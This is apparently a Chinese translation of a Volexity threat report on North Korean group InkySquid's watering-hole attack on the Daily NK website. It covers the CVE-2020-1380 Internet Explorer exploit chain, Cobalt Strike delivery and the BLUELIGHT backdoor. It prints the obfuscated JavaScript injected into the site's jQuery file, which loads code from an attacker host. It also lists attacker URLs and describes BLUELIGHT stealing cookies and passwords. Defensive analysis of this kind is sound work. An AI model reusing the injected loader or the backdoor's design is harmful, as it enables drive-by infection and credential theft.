朝鲜InkySquid APT组织利用浏览器漏洞感染受害者。
2021年4月,Volexity研究人员识别出了通过www.dailynk[.]com网站加载到恶意子域名的jquery[.]services可疑代码。加载恶意代码的URL包括:
hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1 hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
这些URL指向的是Daily NK网站使用的合法文件,但是内容被攻击者修改了,其中包含重定向用户从攻击者控制的域名jquery[.]services加载恶意JS。攻击者控制的代码只加入了很短的时间就被移除了,使得攻击者活动的识别变得非常困难。
CVE-2020-1380
Volexity研究人员发现攻击者利用的首个漏洞是CVE-2020-1380,一个IE 0 day漏洞利用。攻击者在Daily NK网站的下述合法文件中加入了一行代码:
hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1
加入到Daily NK网站的混淆的代码如下:
function vgrai(){var e=document.createElement("script");e.src=fecet("w6625I>>7x=y37t4;=5t48xrt5>4t52105x8t<t:6t0s=/x0=y5",15),document.head&&document.head.appendChild(e)}function vdgie(){const e=window.navigator.userAgent,t=e.indexOf("rv:11.0 "),i=e.indexOf("Trident/");return t>0||i>0}vdgie()&&vgrai();
加入以上代码后,如果用户用IE来访问Daily NK,页面就会从以下URL加载其他的JS文件:
hxxps://ui.jquery[.]services/responsive-extend.min.js
请求时,由于有正确的IE User-Agent,主机就会作为其他混淆的JS代码。初始重定向后,攻击者会选择将恶意代码隐藏在合法代码中。在本例中,攻击者使用了"bPopUp" JS库。这一选择具有2个结果:
◼分析JS的人可能会误认为其是合法的,因为大多数代码都是非恶意的;
◼识别恶意JS代码的自动化解决方案也可能会误认为这些代码是非恶意的,因为代码大部分可以与合法库内容匹配。
攻击者使用的漏洞利用代码中还包含许多混淆在变量中的字符串,以使其显得像合法的SVG内容。攻击者隐藏字符串的示例如图1所示:
图 1. SVG变量中混淆的字符串
为解密这些字符串,需要执行以下步骤:
◼通过M43.2字符串将path变量中的d属性中的数据分割开来;
◼将分割出的数据的每个元素通过空格符再次分割,会得到一个数字列表;
◼将这些数字转成整数;
◼如果整数大于30,就减去17,并加到生成的字符串中。如果整数小于等于30,就丢弃该数字。
总的来看,一共使用了3个假的SVG对象。一旦这些对象中的字符串替换为JS,识别漏洞利用就很容易了。解密和替换后的代码如图2所示:
图 2. CVE-2020-1380实现
代码对应的是TrendMicro研究人员发布的CVE-2020-1380漏洞PoC代码。
成功利用后,JS会使用相同的方法来解密最终的SVG变量,最终生成一个十六进制编码的Cobalt Strike stager,然后解码和执行。本例中,下载其他shellcode的URL包括:
◼hxxps://ui.jquery[.]services/swipeout.min.js
◼hxxps://ui.jquery[.]services/swipeout.min.css
◼hxxps://ui.jquery[.]services/slider.min.css
BLUELIGHT
在另一个样本中,攻击者使用jquery[.]services子域名来存放一个新的恶意软件家族。文件存放位置为:
hxxps://storage.jquery[.]services/log/history
history文件是一个XOR编码的定制恶意软件副本,恶意软件开发者和Volexity都将其命名为BLUELIGHT。命名依据是恶意软件PDB字符串:
E:\Development\BACKDOOR\ncov\Release\bluelight.pdb
BLUELIGHT是Cobalt Strike成功传播后的第二个payload。BLUELIGHT恶意软件使用不同的云服务提供商作为C2。恶意软件样本使用Microsoft Graph API进行C2操作。最开始的时候,BLUELIGHT使用硬编码的参数来进行oauth 2 token认证。客户端认证后,BLUELIGHT就会在OneDrive appfolder文件夹下创建子目录,创建的子目录名有:
logo
normal
background
theme
round
文件夹和子目录建立后,就会以JSON对象的格式来收集以下信息:
用户名
计算机名
操作系统版本
Web IP
默认接口的本地IP
本地时间
植入的二进制文件是32位还是64位
进程SID授权登记
进程文件名
安装的反病毒软件列表
受感染的机器是否运行虚拟机
这些数据会经过XOR编码为一个二进制blob并上传。所有上传的文件都会以.jpg作为扩展,不同的子目录和文件名表明不同类型的命令数据。
C2循环在初始上传侦查数据后开始,大约30秒循环一次。前5分钟内,每个循环会截图,并以时间戳作为文件名上传到normal子目录。5分钟后,截图每隔5分钟上传一次。
在每个循环中,客户端会通过美剧background子目录来查询新的命令。文件名表明要执行的命令,文件的内容提供命令相关的进一步信息。支持的命令包括:
执行和下载shellcode
下载和启动可执行文件,然后上传程序输出
获取IE、Edge、Chrome、Naver Whale等支持的浏览器中的cookie和密码数据库
递归检索路径和上传文件元数据;
产生一个进程来递归检索路径,以zip文件形式上传文件;
中止文件上传线程。
卸载。
命令文件在处理后会被删除,大多数命令生成的文件会上传到round目录。但zip upload会使用theme子目录。
本文翻译自:https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/如若转载,请注明原文地址